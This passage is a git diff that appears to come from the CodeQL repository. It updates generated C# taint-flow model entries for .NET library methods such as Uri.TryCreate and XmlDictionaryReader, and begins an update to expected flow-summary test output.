["System.Threading", "Volatile", "Write", "(System.SByte,System.SByte)", "summary", "df-generated"] - ["System.Threading", "Volatile", "Write", "(System.Single,System.Single)", "summary", "df-generated"] - ["System.Threading", "Volatile", "Write", "(System.UInt16,System.UInt16)", "summary", "df-generated"] - ["System.Threading", "Volatile", "Write", "(System.UInt32,System.UInt32)", "summary", "df-generated"] - ["System.Threading", "Volatile", "Write", "(System.UInt64,System.UInt64)", "summary", "df-generated"] + - ["System.Threading", "Volatile", "Write", "(System.UIntPtr,System.UIntPtr)", "summary", "df-generated"] + - ["System.Threading", "Volatile", "Write", "(T,T)", "summary", "df-generated"] - ["System.Threading", "Volatile", "WriteBarrier", "()", "summary", "df-generated"] - ["System.Threading", "WaitHandle", "Close", "()", "summary", "df-generated"] - ["System.Threading", "WaitHandle", "Dispose", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.Serialization.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Serialization.model.yml index ce23169ea56..65818a7bfea 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Serialization.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Serialization.model.yml @@ -115,17 +115,20 @@ extensions: - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadElementQualifiedName", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadNullableQualifiedName", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadNullableString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReference", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReference", "(System.String)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencedElement", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencedElement", "(System.String,System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencedElement", "(System.String,System.String)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencedElement", "(System.String,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String,System.String,System.Boolean,System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String,System.String,System.Boolean,System.String)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String,System.String,System.Boolean,System.String)", "", "Argument[this]", "Argument[3]", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String,System.String,System.Boolean,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String,System.String,System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String,System.String,System.String)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String,System.String,System.String)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadReferencingElement", "(System.String,System.String,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadSerializable", "(System.Xml.Serialization.IXmlSerializable)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml.Serialization", "XmlSerializationReader", False, "ReadSerializable", "(System.Xml.Serialization.IXmlSerializable,System.Boolean)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml b/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml index 519dcb65574..b27cc848761 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.Xsl.Runtime.model.yml @@ -130,9 +130,10 @@ extensions: - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugGetXsltValue", "(System.Collections.IList)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DebugSetGlobalValue", "(System.String,System.Object)", "", "Argument[1]", "Argument[this].SyntheticField[System.Xml.Xsl.Runtime.XmlQueryRuntime._globalValues].Element", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "DocOrderDistinct", "(System.Collections.Generic.IList)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndRtfConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndRtfConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndSequenceConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "FindIndex", "(System.Xml.XPath.XPathNavigator,System.Int32,System.Xml.Xsl.Runtime.XmlILIndex)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "EndSequenceConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "FindIndex", "(System.Xml.XPath.XPathNavigator,System.Int32,System.Xml.Xsl.Runtime.XmlILIndex)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "GetAtomizedName", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "GetCollation", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "GetEarlyBoundObject", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -141,9 +142,9 @@ extensions: - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ParseTagName", "(System.String,System.Int32)", "", "Argument[0]", "ReturnValue.Property[System.Xml.XmlQualifiedName.Name]", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ParseTagName", "(System.String,System.String)", "", "Argument[0]", "ReturnValue.Property[System.Xml.XmlQualifiedName.Name]", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "ParseTagName", "(System.String,System.String)", "", "Argument[1]", "ReturnValue.Property[System.Xml.XmlQualifiedName.Namespace]", "value", "dfc-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartRtfConstruction", "(System.String,System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartRtfConstruction", "(System.String,System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartSequenceConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartRtfConstruction", "(System.String,System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartRtfConstruction", "(System.String,System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "StartSequenceConstruction", "(System.Xml.Xsl.Runtime.XmlQueryOutput)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "TextRtfConstruction", "(System.String,System.String)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Xml.Xsl.Runtime.RtfTextNavigator._text]", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "TextRtfConstruction", "(System.String,System.String)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Xml.Xsl.Runtime.RtfTextNavigator._baseUri]", "value", "dfc-generated"] - ["System.Xml.Xsl.Runtime", "XmlQueryRuntime", False, "get_ExternalContext", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.model.yml b/csharp/ql/lib/ext/generated/System.Xml.model.yml index db9752525d9..60dfe819232 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.model.yml @@ -10,9 +10,9 @@ extensions: - ["System.Xml", "IXmlBinaryWriterInitializer", True, "SetOutput", "(System.IO.Stream,System.Xml.IXmlDictionary,System.Xml.XmlBinaryWriterSession,System.Boolean)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "IXmlBinaryWriterInitializer", True, "SetOutput", "(System.IO.Stream,System.Xml.IXmlDictionary,System.Xml.XmlBinaryWriterSession,System.Boolean)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "IXmlBinaryWriterInitializer", True, "SetOutput", "(System.IO.Stream,System.Xml.IXmlDictionary,System.Xml.XmlBinaryWriterSession,System.Boolean)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml", "IXmlDictionary", True, "TryLookup", "(System.Int32,System.Xml.XmlDictionaryString)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml", "IXmlDictionary", True, "TryLookup", "(System.String,System.Xml.XmlDictionaryString)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml", "IXmlDictionary", True, "TryLookup", "(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System.Xml", "IXmlDictionary", True, "TryLookup", "(System.Int32,System.Xml.XmlDictionaryString)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Xml", "IXmlDictionary", True, "TryLookup", "(System.String,System.Xml.XmlDictionaryString)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Xml", "IXmlDictionary", True, "TryLookup", "(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Xml", "IXmlNamespaceResolver", True, "GetNamespacesInScope", "(System.Xml.XmlNamespaceScope)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "IXmlNamespaceResolver", True, "LookupNamespace", "(System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml", "IXmlNamespaceResolver", True, "LookupPrefix", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -73,8 +73,10 @@ extensions: - ["System.Xml", "XmlDictionaryReader", False, "ReadContentAsString", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlDictionaryReader", False, "ReadString", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlDictionaryReader", True, "GetAttribute", "(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml", "XmlDictionaryReader", True, "GetNonAtomizedNames", "(System.String,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml", "XmlDictionaryReader", True, "ReadContentAsQualifiedName", "(System.String,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlDictionaryReader", True, "GetNonAtomizedNames", "(System.String,System.String)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml", "XmlDictionaryReader", True, "GetNonAtomizedNames", "(System.String,System.String)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Xml", "XmlDictionaryReader", True, "ReadContentAsQualifiedName", "(System.String,System.String)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Xml", "XmlDictionaryReader", True, "ReadContentAsQualifiedName", "(System.String,System.String)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Xml", "XmlDictionaryReader", True, "ReadContentAsString", "(System.String[],System.Int32)", "", "Argument[0].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Xml", "XmlDictionaryReader", True, "ReadContentAsString", "(System.Xml.XmlDictionaryString[],System.Int32)", "", "Argument[0].Element.Property[System.Xml.XmlDictionaryString.Value]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml", "XmlDictionaryReader", True, "ReadContentAsUniqueId", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.model.yml b/csharp/ql/lib/ext/generated/System.model.yml index 03b23b02725..7265d33e299 100644 --- a/csharp/ql/lib/ext/generated/System.model.yml +++ b/csharp/ql/lib/ext/generated/System.model.yml @@ -34,7 +34,6 @@ extensions: - ["System", "Array", False, "FindLastIndex", "(T[],System.Int32,System.Predicate)", "", "Argument[0].Element", "Argument[2].Parameter[0]", "value", "dfc-generated"] - ["System", "Array", False, "FindLastIndex", "(T[],System.Predicate)", "", "Argument[0].Element", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["System", "Array", False, "ForEach", "(T[],System.Action)", "", "Argument[0].Element", "Argument[1].Parameter[0]", "value", "dfc-generated"] - - ["System", "Array", False, "Resize", "(T[],System.Int32)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System", "Array", False, "TrueForAll", "(T[],System.Predicate)", "", "Argument[0].Element", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["System", "ArraySegment+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.ArraySegment`1+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System", "ArraySegment+Enumerator", False, "get_Current", "()", "", "Argument[this].SyntheticField[System.ArraySegment`1+Enumerator._array].Element", "ReturnValue", "value", "dfc-generated"] @@ -69,7 +68,7 @@ extensions: - ["System", "BinaryData", False, "WithMediaType", "(System.String)", "", "Argument[0]", "ReturnValue.Property[System.BinaryData.MediaType]", "value", "dfc-generated"] - ["System", "CultureAwareComparer", False, "GetObjectData", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[this].SyntheticField[System.CultureAwareComparer._compareInfo]", "Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element", "value", "dfc-generated"] - ["System", "DateTime", False, "ToLocalTime", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - - ["System", "DateTimeOffset", False, "Deconstruct", "(System.DateOnly,System.TimeOnly,System.TimeSpan)", "", "Argument[this].Property[System.DateTimeOffset.Offset]", "ReturnValue", "value", "dfc-generated"] + - ["System", "DateTimeOffset", False, "Deconstruct", "(System.DateOnly,System.TimeOnly,System.TimeSpan)", "", "Argument[this].Property[System.DateTimeOffset.Offset]", "Argument[2]", "value", "dfc-generated"] - ["System", "Delegate+InvocationListEnumerator", False, "GetEnumerator", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System", "Delegate+InvocationListEnumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Delegate", False, "Combine", "(System.Delegate,System.Delegate)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] @@ -416,8 +415,6 @@ extensions: - ["System", "MemoryExtensions", False, "TrimStart", "(System.Span,System.ReadOnlySpan)", "", "Argument[0].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["System", "MemoryExtensions", False, "TrimStart", "(System.Span,System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System", "MemoryExtensions", False, "TrimStart", "(System.Span,T)", "", "Argument[0].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System", "MemoryExtensions", False, "TryWrite", "(System.Span,System.IFormatProvider,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System", "MemoryExtensions", False, "TryWrite", "(System.Span,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System", "MissingFieldException", False, "MissingFieldException", "(System.String,System.String)", "", "Argument[0]", "Argument[this].Field[System.MissingMemberException.ClassName]", "value", "dfc-generated"] - ["System", "MissingFieldException", False, "MissingFieldException", "(System.String,System.String)", "", "Argument[1]", "Argument[this].Field[System.MissingMemberException.MemberName]", "value", "dfc-generated"] - ["System", "MissingMemberException", False, "MissingMemberException", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element", "Argument[this].Field[System.MissingMemberException.ClassName]", "value", "dfc-generated"] @@ -466,8 +463,6 @@ extensions: - ["System", "SequencePosition", False, "GetObject", "()", "", "Argument[this].SyntheticField[System.SequencePosition._object]", "ReturnValue", "value", "dfc-generated"] - ["System", "SequencePosition", False, "SequencePosition", "(System.Object,System.Int32)", "", "Argument[0]", "Argument[this].SyntheticField[System.SequencePosition._object]", "value", "dfc-generated"] - ["System", "Span", False, "GetEnumerator", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System", "String", False, "Create", "(System.IFormatProvider,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System", "String", False, "Create", "(System.IFormatProvider,System.Span,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System", "String", False, "Create", "(System.Int32,TState,System.Buffers.SpanAction)", "", "Argument[1]", "Argument[2].Parameter[1]", "value", "dfc-generated"] - ["System", "String", False, "EnumerateRunes", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "String", False, "Format", "(System.IFormatProvider,System.Text.CompositeFormat,TArg0,TArg1,TArg2)", "", "Argument[1].Property[System.Text.CompositeFormat.Format]", "ReturnValue", "value", "dfc-generated"] @@ -482,7 +477,7 @@ extensions: - ["System", "String", False, "Trim", "(System.ReadOnlySpan)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System", "String", False, "TrimEnd", "(System.ReadOnlySpan)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System", "String", False, "TrimStart", "(System.ReadOnlySpan)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - - ["System", "String", False, "TryParse", "(System.String,System.IFormatProvider,System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System", "String", False, "TryParse", "(System.String,System.IFormatProvider,System.String)", "", "Argument[0]", "Argument[2]", "value", "dfc-generated"] - ["System", "StringNormalizationExtensions", False, "Normalize", "(System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System", "StringNormalizationExtensions", False, "Normalize", "(System.String,System.Text.NormalizationForm)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System", "StringNormalizationExtensions", False, "TryNormalize", "(System.ReadOnlySpan,System.Span,System.Int32,System.Text.NormalizationForm)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] @@ -523,7 +518,7 @@ extensions: - ["System", "TimeZoneInfo", False, "GetUtcOffset", "(System.DateTimeOffset)", "", "Argument[this].SyntheticField[System.TimeZoneInfo._baseUtcOffset]", "ReturnValue", "value", "dfc-generated"] - ["System", "TimeZoneInfo", False, "ToString", "()", "", "Argument[this].Property[System.TimeZoneInfo.DisplayName]", "ReturnValue", "value", "dfc-generated"] - ["System", "TimeZoneInfo", False, "ToString", "()", "", "Argument[this].SyntheticField[System.TimeZoneInfo._displayName]", "ReturnValue", "value", "dfc-generated"] - - ["System", "TimeZoneInfo", False, "TryFindSystemTimeZoneById", "(System.String,System.TimeZoneInfo)", "", "Argument[0]", "ReturnValue.SyntheticField[System.TimeZoneInfo._id]", "value", "dfc-generated"] + - ["System", "TimeZoneInfo", False, "TryFindSystemTimeZoneById", "(System.String,System.TimeZoneInfo)", "", "Argument[0]", "Argument[1].SyntheticField[System.TimeZoneInfo._id]", "value", "dfc-generated"] - ["System", "TimeZoneInfo", False, "get_BaseUtcOffset", "()", "", "Argument[this].SyntheticField[System.TimeZoneInfo._baseUtcOffset]", "ReturnValue", "value", "dfc-generated"] - ["System", "TimeZoneInfo", False, "get_DaylightName", "()", "", "Argument[this].SyntheticField[System.TimeZoneInfo._daylightDisplayName]", "ReturnValue", "value", "dfc-generated"] - ["System", "TimeZoneInfo", False, "get_DisplayName", "()", "", "Argument[this].SyntheticField[System.TimeZoneInfo._displayName]", "ReturnValue", "value", "dfc-generated"] @@ -724,11 +719,11 @@ extensions: - ["System", "Uri", False, "MakeRelative", "(System.Uri)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "MakeRelativeUri", "(System.Uri)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "ToString", "(System.String,System.IFormatProvider)", "", "Argument[this].SyntheticField[System.Uri._string]", "ReturnValue", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.String,System.UriCreationOptions,System.Uri)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.String,System.UriKind,System.Uri)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.Uri,System.String,System.Uri)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System", "Uri", False, "TryCreate", "(System.String,System.UriCreationOptions,System.Uri)", "", "Argument[0]", "Argument[2].SyntheticField[System.Uri._string]", "value", "dfc-generated"] + - ["System", "Uri", False, "TryCreate", "(System.String,System.UriKind,System.Uri)", "", "Argument[0]", "Argument[2].SyntheticField[System.Uri._string]", "value", "dfc-generated"] + - ["System", "Uri", False, "TryCreate", "(System.Uri,System.String,System.Uri)", "", "Argument[1]", "Argument[2].SyntheticField[System.Uri._string]", "value", "dfc-generated"] + - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["System", "Uri", False, "TryEscapeDataString", "(System.ReadOnlySpan,System.Span,System.Int32)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] - ["System", "Uri", False, "TryUnescapeDataString", "(System.ReadOnlySpan,System.Span,System.Int32)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] - ["System", "Uri", False, "UnescapeDataString", "(System.ReadOnlySpan)", "", "Argument[0].Element", "ReturnValue", "taint", "dfc-generated"] @@ -762,7 +757,7 @@ extensions: - ["System", "ValueTuple", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "ValueTuple", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "WeakReference", True, "GetObjectData", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[this].Property[System.WeakReference.Target]", "Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element", "value", "dfc-generated"] - - ["System", "WeakReference", False, "TryGetTarget", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System", "WeakReference", False, "TryGetTarget", "(T)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all extensible: sourceModel @@ -982,6 +977,7 @@ extensions: - ["System", "Array", "LastIndexOf", "(T[],T,System.Int32,System.Int32)", "summary", "df-generated"] - ["System", "Array", "Remove", "(System.Object)", "summary", "df-generated"] - ["System", "Array", "RemoveAt", "(System.Int32)", "summary", "df-generated"] + - ["System", "Array", "Resize", "(T[],System.Int32)", "summary", "df-generated"] - ["System", "Array", "SetValue", "(System.Object,System.Int32)", "summary", "df-generated"] - ["System", "Array", "SetValue", "(System.Object,System.Int32,System.Int32)", "summary", "df-generated"] - ["System", "Array", "SetValue", "(System.Object,System.Int32,System.Int32,System.Int32)", "summary", "df-generated"] @@ -3637,8 +3633,10 @@ extensions: - ["System", "MemoryExtensions", "ToLowerInvariant", "(System.ReadOnlySpan,System.Span)", "summary", "df-generated"] - ["System", "MemoryExtensions", "ToUpper", "(System.ReadOnlySpan,System.Span,System.Globalization.CultureInfo)", "summary", "df-generated"] - ["System", "MemoryExtensions", "ToUpperInvariant", "(System.ReadOnlySpan,System.Span)", "summary", "df-generated"] + - ["System", "MemoryExtensions", "TryWrite", "(System.Span,System.IFormatProvider,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32)", "summary", "df-generated"] - ["System", "MemoryExtensions", "TryWrite", "(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,System.Object[])", "summary", "df-generated"] - ["System", "MemoryExtensions", "TryWrite", "(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,System.ReadOnlySpan)", "summary", "df-generated"] + - ["System", "MemoryExtensions", "TryWrite", "(System.Span,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32)", "summary", "df-generated"] - ["System", "MemoryExtensions", "TryWrite", "(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,TArg0,TArg1,TArg2)", "summary", "df-generated"] - ["System", "MemoryExtensions", "TryWrite", "(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,TArg0,TArg1)", "summary", "df-generated"] - ["System", "MemoryExtensions", "TryWrite", "(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,TArg0)", "summary", "df-generated"] @@ -4181,6 +4179,8 @@ extensions: - ["System", "String", "Contains", "(System.String,System.StringComparison)", "summary", "df-generated"] - ["System", "String", "CopyTo", "(System.Int32,System.Char[],System.Int32,System.Int32)", "summary", "df-generated"] - ["System", "String", "CopyTo", "(System.Span)", "summary", "df-generated"] + - ["System", "String", "Create", "(System.IFormatProvider,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler)", "summary", "df-generated"] + - ["System", "String", "Create", "(System.IFormatProvider,System.Span,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler)", "summary", "df-generated"] - ["System", "String", "EndsWith", "(System.Char)", "summary", "df-generated"] - ["System", "String", "EndsWith", "(System.String)", "summary", "df-generated"] - ["System", "String", "EndsWith", "(System.String,System.Boolean,System.Globalization.CultureInfo)", "summary", "df-generated"] From 2f16e3a0c0d02cbd33ad8f4d9b20b5e75de927e4 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 26 Mar 2025 15:22:51 +0100 Subject: [PATCH 177/282] C#: Update flowsummaries test expected output. --- .../dataflow/library/FlowSummaries.expected | 628 ++++++++---------- .../library/FlowSummariesFiltered.expected | 494 +++++--------- 2 files changed, 457 insertions(+), 665 deletions(-) diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected index 4b7dc533819..21fcfa594e6 100644 --- a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected +++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected @@ -1869,7 +1869,7 @@ summary | 